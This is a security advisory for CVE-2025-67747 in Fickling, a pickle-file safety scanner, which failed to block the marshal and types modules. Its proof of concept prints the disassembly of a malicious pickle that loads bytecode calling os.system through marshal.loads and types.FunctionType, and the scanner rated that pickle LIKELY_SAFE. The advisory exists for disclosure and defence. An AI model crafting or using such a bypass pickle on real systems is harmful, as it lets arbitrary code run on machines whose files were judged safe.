--- id: CVE-2025-67747 aliases: - GHSA-565g-hwwr-4pp3 - PYSEC-2026-1368 title: >- Fickling has missing detection for marshal.loads and types.FunctionType in unsafe modules list summary: >- Fickling has missing detection for marshal.loads and types.FunctionType in unsafe modules list severity: high vendor: fickling product: fickling ecosystem: pip affected: - fickling < 0.1.6 patched: - fickling 0.1.6 published: '2025-12-15' updated: '2026-07-07' source: OSV sourceUrl: 'https://osv.dev/vulnerability/GHSA-565g-hwwr-4pp3' references: - url: >- https://github.com/trailofbits/fickling/security/advisories/GHSA-565g-hwwr-4pp3 - url: 'https://nvd.nist.gov/vuln/detail/CVE-2025-67747' - url: 'https://github.com/trailofbits/fickling/pull/186' - url: >- https://github.com/trailofbits/fickling/commit/4e34561301bda1450268d1d7b0b2b151de33b913 - url: 'https://github.com/trailofbits/fickling' - url: 'https://github.com/trailofbits/fickling/releases/tag/v0.1.6' tags: - osv - pip epss: 0.00278 epssPercentile: 0.20544 ingestedAt: '2026-07-08T18:25:45.791Z' --- ## Overview ## Fickling Assessment Based on the test case provided in the original report below, this bypass was caused by `marshal` and `types` missing from the block list of unsafe module imports, Fickling started blocking both modules to address this issue. This was fixed in https://github.com/trailofbits/fickling/pull/186. The crash is unrelated and has no security impact—it will be addressed separately. ## Original report ### Summary There's missing detection for the python modules, `marshal.loads` and `types.FunctionType` and Fickling throws unhandled ValueErrors when the stack is deliberately exhausted. ### Details Fickling simply doesn't have the aforementioned modules in its list of unsafe imports and therefore it fails to get detected. ### PoC The following is a disassembled view of a malicious pickle file that uses these modules: ``` 0: \x80 PROTO 4 2: \x95 FRAME 0 11: \x8c SHORT_BINUNICODE 'marshal' 20: \x8c SHORT_BINUNICODE 'loads' 27: \x93 STACK_GLOBAL 28: \x94 MEMOIZE (as 0) 29: h BINGET 0 31: C SHORT_BINBYTES b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xf30\x00\x00\x00\x95\x00S\x00S\x01K\x00r\x00\\\x00R\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"\x00S\x025\x01\x00\x00\x00\x00\x00\x00 \x00g\x01)\x03\xe9\x00\x00\x00\x00N\xda\x02id)\x02\xda\x02os\xda\x06system\xa9\x00\xf3\x00\x00\x00\x00\xda\x08\xda\x08r\t\x00\x00\x00\x01\x00\x00\x00s\x13\x00\x00\x00\xf0\x03\x01\x01\x01\xe3\x00\t\xd8\x00\x02\x87\t\x82\t\x88$\x85\x0fr\x07\x00\x00\x00' 198: \x85 TUPLE1 199: R REDUCE 200: \x94 MEMOIZE (as 1) 201: \x8c SHORT_BINUNICODE 'types' 208: \x8c SHORT_BINUNICODE 'FunctionType' 222: \x93 STACK_GLOBAL 223: \x94 MEMOIZE (as 2) 224: h BINGET 2 226: h BINGET 1 228: } EMPTY_DICT 229: \x86 TUPLE2 230: R REDUCE 231: \x94 MEMOIZE (as 3) 232: h BINGET 3 234: ) EMPTY_TUPLE 235: R REDUCE 236: \x94 MEMOIZE (as 4) 237: \x8c SHORT_BINUNICODE 'gottem' 245: b BUILD 246: . STOP ``` When analyzing this modified file, safety_result.json shows: ``` { "severity": "LIKELY_SAFE", "analysis": "Warning: Fickling failed to detect any overtly unsafe code,but the pickle file may still be unsafe.Do not unpickle this file if it is from an untrusted source!\n\n", "detailed_results": {} } ``` Furthermore, when we run `fickling -s `, we also encounter this error: ``` Traceback (most recent call last): File "/fickling", line 7, in sys.exit(main()) ^^^^^^ File "/fickling/cli.py", line 163, in main safety_results = check_safety(pickled, json_output_path=json_output_path) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/fickling/analysis.py", line 408, in check_safety results = analyzer.analyze(pickled) ^^^^^^^^^^^^^^^^^^^^^^^^^ File "/fickling/analysis.py", line 65, in analyze context.analyze(a) File "/fickling/analysis.py", line 31, in analyze results = list(analysis.analyze(self)) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/fickling/analysis.py", line 196, in analyze for node in context.pickled.non_standard_imports(): ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/fickling/fickle.py", line 826, in non_standard_imports for node in self.properties.imports: ^^^^^^^^^^^^^^^ File "/fickling/fickle.py", line 777, in properties self._properties.visit(self.ast) ^^^^^^^^ File "/fickling/fickle.py", line 833, in ast self._ast = Interpreter.interpret(self) ^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/fickling/fickle.py", line 1001, in interpret return Interpreter(pickled).to_ast() ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/fickling/fickle.py", line 927, in to_ast self.run() File "/fickling/fickle.py", line 971, in run self.step() File "/fickling/fickle.py", line 989, in step opcode.run(self) File "/fickling/fickle.py", line 1767, in run raise ValueError("Exhausted the stack while searching for a MarkObject!") ValueError: Exhausted the stack while searching for a MarkObject! ``` ### Impact This allows an attacker to craft a malicious pickle file that can bypass fickling since it misses detections for `types.FunctionType` and `marshal.loads`. A user who deserializes such a file, believing it to be safe, would inadvertently execute arbitrary code on their system. This impacts any user or system that uses Fickling to vet pickle files for security issues. ## Affected packages - `fickling < 0.1.6` ## Remediation Upgrade to a patched release: - `fickling 0.1.6`